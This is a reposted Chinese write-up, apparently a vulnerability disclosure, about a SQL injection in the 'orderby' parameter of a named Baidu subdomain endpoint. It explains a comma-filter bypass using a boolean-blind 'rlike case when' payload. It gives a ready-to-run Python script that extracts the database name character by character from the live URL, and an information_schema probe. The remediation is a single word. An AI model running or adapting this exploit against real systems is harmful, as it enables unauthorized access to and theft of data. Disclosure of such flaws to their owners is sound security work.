欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

百度某分站存在SQL注入漏洞(orderby注射技巧)

程序员文章站 2022-07-01 20:40:50
测试扫描器 结果没有识别出来 查看请求信息直觉有漏洞 注入点确实有点蛋疼 POST: http://trends.baidu.com/tour/ajax/scenic provinceI...

测试扫描器 结果没有识别出来 查看请求信息直觉有漏洞

注入点确实有点蛋疼

POST: http://trends.baidu.com/tour/ajax/scenic

provinceId=26×tamp=1437191757000&orderby=heat,desc

orderby参数存在注入

这里的逗号会被替换成空格 也就是order by heat desc

所以不能带逗号 然后heat这个点不存在注入点 desc处是存在的

因为不能带逗号所以不能形成如下的注入语句

order by id desc,if((116>115),1,(select 1 from information_schema.tables))

order by id,if(1=1,1,(select 1 from information_schema.tables))

经过测试发现可用如下payload

heat,rlike case when (1=1) then 1 else char(40) end

因为不支持0x28这种格式所以换成char(40)

1=1时正常

1=2时异常

形成bool盲注

import urllib

import urllib2

import httplib

import time

user = ''

for i in range(1,7):

for j in range(32,127):

values = {'provinceId':'26','timestamp':'1437191757000','orderby':'heat,rlike case when (ascii(mid(database()from('+str(i)+')for(1)))='+str(j)+') then 1 else char(40) end'}

data = urllib.urlencode(values)

req = urllib2.Request("http://trends.baidu.com/tour/ajax/scenic",data)

response = urllib2.urlopen(req)

html = response.read()

if html.find('"status":403')==-1:

user = user + chr(j)

print 'Database is : '+user

break

因为貌似有负载均衡导致user()[email protected] 所以这里只注database()

只过滤了逗号 绕过注出所有数据无压力 我就不深入了

heat,rlike case when (select count(1) from information_schema.tables limit 1 offset 0)>0 then 1 else char(40) end

返回正常 仅证明到这 都懂的

解决方案:

过滤